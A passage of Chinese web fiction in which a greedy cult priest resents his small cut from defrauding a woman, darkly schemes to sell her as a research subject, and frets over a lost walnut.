明明从头到尾一直是他在费口舌,把妇人骗成信徒,让她给教会掏五十多万。结果到头来,自己只分到这么少。 要是能成为高级教士就好啦。上面人对接大客户大项目,一个单子都能分到几十万。 钱教士嫉妒地冒酸水。 这些高级教士不过是占了先机,比他更早加入厄神教,才能成为骨干。要是让自己对接大客户,肯定做的比他们更好! 不行!他得从妇人身上多榨点钱。 中年人身体器官卖的不好,妇人这个年纪,生育能力也不行,做代孕也不合适。 钱教士想了想,突然回忆起前两天技术部熟人向他抱怨的事——实验体! 有个机构缺实验体,想从他们这要人,要各个年龄段的。 妇人这不正合适吗!等她钱花光,自己就忽悠她,去当实验体,自己提成又能多几千块! 至于把她坑成这样,自己良心会不会痛…… 哈哈哈哈哈…… 都给资本家打工了,哪来的良心! 有良心,意味着从信徒身上挖到的钱少,意味着业绩低,意味着被忽视,分不到客户,意味着业绩一落千丈,意味着达不到工作要求,意味着—— 消失。 业绩一旦低于标准,就进入教会的斩杀线。 钱教士打个寒颤,不敢深想那些消失的员工去哪了。 眼镜专家身体一抖,手里盘着的核桃突然滚出一个,掉到地上,滚进桌子底下。 老天,他的核桃!二十万呐! 钱教士匆忙说了句“等下”,立刻弯腰,想把头伸进去看情况。无奈身体太胖,肚子顶着弯不下腰。钱教士离开滑椅,蹲在地上往里看。 桌子底下有点黑,钱教士打开手机闪光灯,灯光一照——原来自己心爱的核桃,滚到数据线后面,静止不动。